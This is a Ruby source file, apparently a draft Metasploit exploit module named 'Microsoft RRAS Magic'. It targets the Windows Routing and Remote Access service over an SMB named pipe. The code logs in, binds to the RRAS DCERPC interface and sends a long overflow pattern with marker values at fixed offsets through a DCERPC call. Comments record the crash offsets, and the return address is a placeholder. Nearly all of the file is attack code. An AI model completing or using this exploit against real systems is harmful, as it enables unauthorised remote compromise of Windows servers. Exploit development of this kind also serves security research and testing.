112 lines
2.2 KiB
Ruby
112 lines
2.2 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::Smb::RRAS_MAGIC < Msf::Exploit::Remote
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include Exploit::Remote::DCERPC
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include Exploit::Remote::SMB
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft RRAS Magic',
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'Description' => %q{
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New bug.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows 2000 TEST',
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{
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'Ret' => 0x01020304,
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 14 2006'))
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register_options(
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[
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OptString.new('SMBPIPE', [ true, "The pipe name to use (router, srvsvc)", 'router']),
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], self.class)
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end
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def exploit
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connect()
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smb_login()
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handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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# 0 - 6bd13c26 8b860c020000 mov eax,[esi+0x20c] ds:0023:0000020c=????????
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# RMprAdminServerGetInfo
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# 1 - 6bd13908 83b91c02000000 cmp dword ptr [ecx+0x21c],0x0 ds:0023:0000021c=????????
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# RRasAdminConnectionEnum
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# 2 - 6bd1392c 8b9088090000 mov edx,[eax+0x988] ds:0023:00000988=????????
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# RRasAdminConnectionGetInfo
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# 40 -
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# RRouterInterfaceSetCredentialsEx
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pat = Rex::Text.pattern_create(4000)
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pat[2436, 4] = [-1].pack('V')
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pat[2464, 4] = "DOOT"
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pat[2440, 4] = "REET"
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pat[800, 4] = "ABCD"
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pat[520, 4] = [3].pack('V')
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# [2436] + &[800] + 0x
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stb =
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NDR.long(2) +
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NDR.long(0) +
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NDR.string(pat)
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NDR.long(0x12345678)
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begin
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dcerpc.call(0x0c, stb)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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print_status("No response")
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rescue => e
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if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
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raise e
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end
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end
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# Cleanup
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handler
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disconnect
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end
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end
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end
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